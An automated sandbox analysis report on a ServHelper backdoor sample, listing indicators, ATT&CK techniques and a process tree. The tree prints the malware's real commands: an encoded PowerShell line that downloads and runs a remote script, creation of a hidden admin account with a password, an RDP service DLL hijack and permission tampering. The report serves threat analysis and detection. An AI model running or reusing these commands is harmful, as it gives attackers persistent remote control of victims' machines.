servhelper | 5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa

Analysis

max time kernel
126s
max time network
145s
platform
windows7_x64
resource
win7v20210410
submitted
20-08-2021 20:46

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General

Target

3cb66d271255d59945381fdc6fab9b91.exe
Size

5.9MB
MD5

3cb66d271255d59945381fdc6fab9b91
SHA1

cba5bc5d238ffa84cadb81d8ac65c81c289ec74a
SHA256

5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa
SHA512

770a6f375c8ba6c3c4a7da63652b58ccac9a3a0c005cf1cfc8db21447ae247bcc705c8f20da683ca89e1f0102604e23310be76c4c5daf358f81d2b36008c9a75

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	872	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1468	icacls.exe
2016	icacls.exe
1624	icacls.exe
1932	icacls.exe
1060	icacls.exe
396	icacls.exe
1896	icacls.exe
1900	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013131-182.dat	upx
behavioral1/files/0x0005000000013133-183.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1988	Process not Found
1988	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1468	icacls.exe
2016	icacls.exe
1624	icacls.exe
1932	icacls.exe
1060	icacls.exe
396	icacls.exe
1896	icacls.exe
1900	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f2d95843-4c5b-4d79-a923-d9be0d89f8e8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a33d0401-1610-4123-a732-482c9dfec702	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f140fe95-8675-4ade-a4be-b1e8b001b1c6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e952d098-3de6-48da-b841-786d191ba72f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7e3c5f06-dbcb-4cbd-a0c0-ba99a83397e7	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_17e15b52-6017-4337-bede-318d26ea4f2c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7ec5dca0-365c-42dd-b3ef-124a38f94ad3	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_991d5708-1962-43d6-869b-3527e51e79c5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5890da80-e81f-44b9-a3ff-c680aa22505d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79e2d786-935a-47ff-ba14-4ab46d28bcb5	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q4HXG76QLY9O3GXVWZCX.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_00496957-e1c2-4ce6-a0db-e3575dcbf9ce	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 600fa8110596d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
956	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	3cb66d271255d59945381fdc6fab9b91.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	3cb66d271255d59945381fdc6fab9b91.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
320	powershell.exe
320	powershell.exe
956	powershell.exe
956	powershell.exe
792	powershell.exe
792	powershell.exe
1720	powershell.exe
1720	powershell.exe
320	powershell.exe
320	powershell.exe
320	powershell.exe
872	powershell.exe
872	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1988	Process not Found
1988	Process not Found
1988	Process not Found
1988	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1088	3cb66d271255d59945381fdc6fab9b91.exe
Token: SeDebugPrivilege	320	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeRestorePrivilege	2016	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	536	WMIC.exe
Token: SeAuditPrivilege	536	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	536	WMIC.exe
Token: SeAuditPrivilege	536	WMIC.exe
Token: SeDebugPrivilege	872	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1088 wrote to memory of 320	1088	3cb66d271255d59945381fdc6fab9b91.exe	30
PID 1088 wrote to memory of 320	1088	3cb66d271255d59945381fdc6fab9b91.exe	30
PID 1088 wrote to memory of 320	1088	3cb66d271255d59945381fdc6fab9b91.exe	30
PID 320 wrote to memory of 756	320	powershell.exe	32
PID 320 wrote to memory of 756	320	powershell.exe	32
PID 320 wrote to memory of 756	320	powershell.exe	32
PID 756 wrote to memory of 792	756	csc.exe	33
PID 756 wrote to memory of 792	756	csc.exe	33
PID 756 wrote to memory of 792	756	csc.exe	33
PID 320 wrote to memory of 956	320	powershell.exe	34
PID 320 wrote to memory of 956	320	powershell.exe	34
PID 320 wrote to memory of 956	320	powershell.exe	34
PID 320 wrote to memory of 792	320	powershell.exe	36
PID 320 wrote to memory of 792	320	powershell.exe	36
PID 320 wrote to memory of 792	320	powershell.exe	36
PID 320 wrote to memory of 1720	320	powershell.exe	38
PID 320 wrote to memory of 1720	320	powershell.exe	38
PID 320 wrote to memory of 1720	320	powershell.exe	38
PID 320 wrote to memory of 1900	320	powershell.exe	40
PID 320 wrote to memory of 1900	320	powershell.exe	40
PID 320 wrote to memory of 1900	320	powershell.exe	40
PID 320 wrote to memory of 1468	320	powershell.exe	41
PID 320 wrote to memory of 1468	320	powershell.exe	41
PID 320 wrote to memory of 1468	320	powershell.exe	41
PID 320 wrote to memory of 2016	320	powershell.exe	42
PID 320 wrote to memory of 2016	320	powershell.exe	42
PID 320 wrote to memory of 2016	320	powershell.exe	42
PID 320 wrote to memory of 1624	320	powershell.exe	43
PID 320 wrote to memory of 1624	320	powershell.exe	43
PID 320 wrote to memory of 1624	320	powershell.exe	43
PID 320 wrote to memory of 1932	320	powershell.exe	44
PID 320 wrote to memory of 1932	320	powershell.exe	44
PID 320 wrote to memory of 1932	320	powershell.exe	44
PID 320 wrote to memory of 1060	320	powershell.exe	45
PID 320 wrote to memory of 1060	320	powershell.exe	45
PID 320 wrote to memory of 1060	320	powershell.exe	45
PID 320 wrote to memory of 396	320	powershell.exe	46
PID 320 wrote to memory of 396	320	powershell.exe	46
PID 320 wrote to memory of 396	320	powershell.exe	46
PID 320 wrote to memory of 1896	320	powershell.exe	47
PID 320 wrote to memory of 1896	320	powershell.exe	47
PID 320 wrote to memory of 1896	320	powershell.exe	47
PID 320 wrote to memory of 872	320	powershell.exe	48
PID 320 wrote to memory of 872	320	powershell.exe	48
PID 320 wrote to memory of 872	320	powershell.exe	48
PID 320 wrote to memory of 956	320	powershell.exe	49
PID 320 wrote to memory of 956	320	powershell.exe	49
PID 320 wrote to memory of 956	320	powershell.exe	49
PID 320 wrote to memory of 2036	320	powershell.exe	50
PID 320 wrote to memory of 2036	320	powershell.exe	50
PID 320 wrote to memory of 2036	320	powershell.exe	50
PID 320 wrote to memory of 1524	320	powershell.exe	51
PID 320 wrote to memory of 1524	320	powershell.exe	51
PID 320 wrote to memory of 1524	320	powershell.exe	51
PID 1524 wrote to memory of 1164	1524	net.exe	52
PID 1524 wrote to memory of 1164	1524	net.exe	52
PID 1524 wrote to memory of 1164	1524	net.exe	52
PID 320 wrote to memory of 1716	320	powershell.exe	53
PID 320 wrote to memory of 1716	320	powershell.exe	53
PID 320 wrote to memory of 1716	320	powershell.exe	53
PID 1716 wrote to memory of 632	1716	cmd.exe	54
PID 1716 wrote to memory of 632	1716	cmd.exe	54
PID 1716 wrote to memory of 632	1716	cmd.exe	54
PID 632 wrote to memory of 1140	632	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe
"C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"
1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfy2egtm\vfy2egtm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:756
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD105.tmp" "c:\Users\Admin\AppData\Local\Temp\vfy2egtm\CSC550B9BFA4C394D628F9BEA5F8459D77A.TMP"
      4⤵
      PID:792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1900
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1468
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1624
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1932
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1060
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:396
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1896
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:872
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:956
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2036
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1164
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:632
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1140
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1720
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1284
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:2044
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1588
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:536

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1932
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:292

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc DyYtFW3u /add
1⤵
PID:2040
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc DyYtFW3u /add
  2⤵
  PID:1552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u /add
    3⤵
    PID:692

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1524
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1312
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1660

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:432
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1348

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc DyYtFW3u
1⤵
PID:584
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc DyYtFW3u
  2⤵
  PID:1140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc DyYtFW3u
    3⤵
    PID:752

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1060
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1312

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:928
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:536

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1716
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/320-75-0x000000001B630000-0x000000001B631000-memory.dmp

Filesize
4KB

Download
memory/320-72-0x000000001A774000-0x000000001A776000-memory.dmp

Filesize
8KB

Download
memory/320-69-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

Filesize
4KB

Download
memory/320-70-0x000000001A7F0000-0x000000001A7F1000-memory.dmp

Filesize
4KB

Download
memory/320-71-0x000000001A770000-0x000000001A772000-memory.dmp

Filesize
8KB

Download
memory/320-67-0x000007FEFC661000-0x000007FEFC663000-memory.dmp

Filesize
8KB

Download
memory/320-68-0x0000000002360000-0x0000000002361000-memory.dmp

Filesize
4KB

Download
memory/320-73-0x000000001B410000-0x000000001B411000-memory.dmp

Filesize
4KB

Download
memory/320-83-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/320-87-0x000000001B550000-0x000000001B551000-memory.dmp

Filesize
4KB

Download
memory/320-99-0x000000001A77A000-0x000000001A799000-memory.dmp

Filesize
124KB

Download
memory/320-159-0x000000001C4F0000-0x000000001C4F1000-memory.dmp

Filesize
4KB

Download
memory/320-86-0x000000001C400000-0x000000001C401000-memory.dmp

Filesize
4KB

Download
memory/320-85-0x000000001C0C0000-0x000000001C0C1000-memory.dmp

Filesize
4KB

Download
memory/792-134-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/792-132-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

Filesize
4KB

Download
memory/792-135-0x0000000002310000-0x0000000002311000-memory.dmp

Filesize
4KB

Download
memory/792-130-0x0000000002480000-0x0000000002481000-memory.dmp

Filesize
4KB

Download
memory/792-128-0x000000001AC74000-0x000000001AC76000-memory.dmp

Filesize
8KB

Download
memory/792-127-0x000000001AC70000-0x000000001AC72000-memory.dmp

Filesize
8KB

Download
memory/872-209-0x0000000019554000-0x0000000019556000-memory.dmp

Filesize
8KB

Download
memory/872-240-0x000000001955A000-0x0000000019579000-memory.dmp

Filesize
124KB

Download
memory/872-208-0x0000000019550000-0x0000000019552000-memory.dmp

Filesize
8KB

Download
memory/956-107-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/956-121-0x000000001AA90000-0x000000001AA91000-memory.dmp

Filesize
4KB

Download
memory/956-95-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/956-120-0x000000001AA80000-0x000000001AA81000-memory.dmp

Filesize
4KB

Download
memory/956-97-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/956-101-0x000000001ABE0000-0x000000001ABE1000-memory.dmp

Filesize
4KB

Download
memory/956-94-0x00000000022D0000-0x00000000022D1000-memory.dmp

Filesize
4KB

Download
memory/956-98-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

Filesize
4KB

Download
memory/956-102-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/1088-64-0x00000000287C6000-0x00000000287C7000-memory.dmp

Filesize
4KB

Download
memory/1088-65-0x00000000287C7000-0x00000000287C8000-memory.dmp

Filesize
4KB

Download
memory/1088-60-0x00000000416E0000-0x0000000041B00000-memory.dmp

Filesize
4.1MB

Download
memory/1088-62-0x00000000287C2000-0x00000000287C4000-memory.dmp

Filesize
8KB

Download
memory/1088-63-0x00000000287C4000-0x00000000287C6000-memory.dmp

Filesize
8KB

Download
memory/1720-150-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

Filesize
8KB

Download
